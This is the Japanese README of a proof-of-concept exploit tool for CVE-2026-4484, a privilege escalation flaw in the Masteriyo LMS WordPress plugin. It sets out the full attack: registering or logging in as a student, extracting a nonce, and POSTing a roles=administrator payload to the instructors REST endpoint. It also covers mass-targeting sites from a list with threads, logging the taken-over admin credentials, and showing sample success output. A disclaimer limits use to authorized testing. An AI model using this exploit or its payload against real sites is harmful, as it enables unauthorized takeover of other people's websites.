
Masteriyo LMS <= 2.1.6 - 認証済み(Student+)ユーザーによる管理者への権限昇格を許す認可の欠如
Masteriyo LMS <= 2.1.6 - 認証済み(学生+)から管理者への特権昇格を引き起こす認可の欠落
説明:
WordPress用プラグイン Masteriyo LMS は、2.1.6 までの全バージョンにおいて 特権昇格 の脆弱性の影響を受けます。この脆弱性は InstructorsController::prepare_object_for_database 関数に起因し、REST APIリクエスト時にロール割り当てを適切に制限できません。学生レベルのアクセス権 しか持たない認証済み攻撃者は、Masteriyo REST APIエンドポイントに対して特別に細工されたPOSTリクエストを作成し — リクエストペイロードに "roles": ["administrator"] を注入することで — 自分のアカウントを静かにWordPress 管理者 に昇格させ、管理者による操作を一切必要とせずにサイト全体を乗っ取ることができます。
これは、脆弱性のあるバージョンの Masteriyo LMS プラグインを実行しているWordPressインストールを対象とした Proof-of-Concept(PoC) エクスプロイトスクリプトです。このツールは2つの攻撃モードをサポートしています:
| モード | 名前 | フロー | ユースケース |
|---|---|---|---|
| 1 | Nx_1 | 登録 → ログイン → 昇格 → 管理者確認 | 新規攻撃 — 既存アカウント不要 |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
または requirements ファイルを使用:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
ツールは対話式のターミナルインターフェースを使用します — すべてのパラメータは実行時にプロンプトで入力されます。
ターゲットを1行に1つずつ記載したプレーンテキストファイル(例:list.txt)を作成します:
https://target1.com
https://target2.com
http://target3.com/wordpress
対象に既存アカウントがない場合にこのモードを使用します。ツールは新しい学生アカウントを自動的に登録し、そのアカウントを昇格させます。
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
自動実行される手順:
/account/signup/ → 登録nonceを抽出/st/ → 学生として新規アカウントを登録/account/ → ログインnonceを抽出/wp-admin/admin-ajax.php → Masteriyo AJAX経由でログイン/account/#/dashboard → current_user_id + nonce を抽出/wp-json/masteriyo/v1/users/instructors/{id} → {"roles":["administrator"]} を送信Login_admin.txt に書き込み対象に有効な学生またはインストラクターアカウントがすでにある場合にこのモードを使用します。
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
自動実行される手順:
/account/ → ログインnonceを抽出/wp-admin/admin-ajax.php → Masteriyo AJAX経由でログイン/account/#/dashboard → current_user_id + nonce を抽出/wp-json/masteriyo/v1/users/instructors/{id} → {"roles":["administrator"]} を送信Login_admin.txt に書き込み| ファイル | 説明 |
|---|---|
Login_admin.txt | 確認済みの管理者昇格の全リスト |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>
Masteriyo LMS の InstructorsController::prepare_object_for_database 関数は、リクエストユーザーが edit_users または promote_users の権限を持っているかどうかを検証せずに、RESTリクエストボディの roles パラメータを処理します。このエンドポイントに到達できる認証済みユーザー(学生レベル以上)は、administrator を含む任意のロール値を送信でき、その値はWordPressのユーザーメタデータテーブルに直接永続化されます。
作者: Nxploited (Khaled Alenazi)
このツールは、教育目的および許可されたセキュリティ研究目的のみで提供されます。
作者である Nxploited (Khaled Alenazi) および本プロジェクトへのすべての貢献者は、明示的な書面による許可を得ていないシステムに対する本ツールの誤用や、本ソフトウェアの使用によって生じたいかなる損害についても、容認せず、支持せず、一切の責任を負いません。
- ✅ 許可される行為: 自分が所有する、または明示的な書面によるテスト許可を得たシステムでの使用。
- ❌ 禁止される行為: システム所有者からの事前の明示的な書面による許可なしに、いかなるシステムに対しても使用すること。
コンピュータシステムへの不正アクセスは違法であり、適用される法律に基づき処罰されます。これには、Computer Fraud and Abuse Act(CFAA)、Computer Misuse Act(CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。
本ツールを使用することにより、利用者はご自身の行動に対して単独で責任を負い、対象システムをテストする法的権限を有していることを確認したものとみなされます。
作者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、付随的、または結果的な損害について、一切の責任を負いません。
© 2026 Nxploited (Khaled Alenazi) — 許可されたセキュリティ研究のみを目的としています。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-4484 |
| 深刻度 | HIGH — CVSS v3.1スコア: 8.8 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響を受けるソフトウェア | Masteriyo LMS Plugin for WordPress |
| 影響を受けるバージョン | 2.1.6 までの全バージョン |
| 脆弱性タイプ | 特権昇格(ロール改ざん) |
| 必要な認証 | あり — 学生レベル以上 |
| CWE | CWE-269: Improper Privilege Management |
| 2 | Nx_2 | ログイン → 昇格 → 管理者確認 | 既存アカウントがある場合(学生/インストラクター) |